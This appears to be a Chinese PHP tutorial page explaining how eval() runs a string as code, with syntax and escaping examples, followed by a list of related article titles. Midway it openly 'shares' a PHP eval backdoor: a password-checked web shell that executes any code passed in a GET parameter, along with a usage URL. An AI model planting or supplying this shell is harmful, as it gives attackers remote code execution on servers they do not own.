PHP eval函数使用介绍
2015-01-24信息快讯网
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用
代码:
eval("echo'hello world';");
上边代码等同于下边的代码:
echo"hello world";
在浏览器中都输出:hello world
运用eval()要注意几点:
1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)
2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。
代码:
$a=100; eval("echo$a;");
因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:
$a=100; eval("echo\$a;")
3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。
命令式字符串是指:字符串中包括echo、print之类的命令的时候。
如果参数只有一个变量则可以不用。例如:
$func =<<<FUNC function test(){ echo "test eval function"; } FUNC; eval($func); test();
分享个php eval后门程序
要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();
<?php $passwd="admin";if($_GET['pwd']!=$passwd)exit; if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);} ?>
PHP函数eval()介绍和使用示例
php中eval函数的危害与正确禁用方法
ThinkPHP实现跨模块调用操作方法概述
ThinkPHP之getField详解
ThinkPHP之N方法实例详解
ThinkPHP之R方法实例详解
ThinkPHP之import方法实例详解
php数组合并array_merge()函数使用注意事项
ThinkPHP3.1新特性之G方法的使用
ThinkPHP3.1新特性之命名范围的使用
php定界符<<<使用技巧和实例
PHP封装的一个支持HTML、JS、PHP重定向的多功能跳转函数
php使用百度ping服务代码实例
php对包含html标签的字符串进行截取的函数分享
Thinkphp模板中截取字符串函数简介
浅析PHP的静态成员函数效率更高的原因
PHP 提取图片img标记中的任意属性的简单实例
Server.HTMLEncode让代码在页面里显示为源代码
php自定义的格式化时间示例代码
php调整gif动画图片尺寸示例代码分享
PHP数据库链接类(PDO+Access)实例分享
php函数指定默认值方法的小例子
PHP函数microtime()用法与说明
php指定函数参数默认值示例代码
根据中文裁减字符串函数的php代码
使用php检测用户当前使用的浏览器是否为IE浏览器
使用PHP备份MySQL和网站发送到邮箱实例代码
php遍历文件夹所有文件子文件夹函数代码
XAMPP安装与使用方法详细解析
php中引用符号(&)的使用详解
使用php验证复选框有效性的示例
php eval函数用法 PHP中eval()函数小技巧
php eval函数用法总结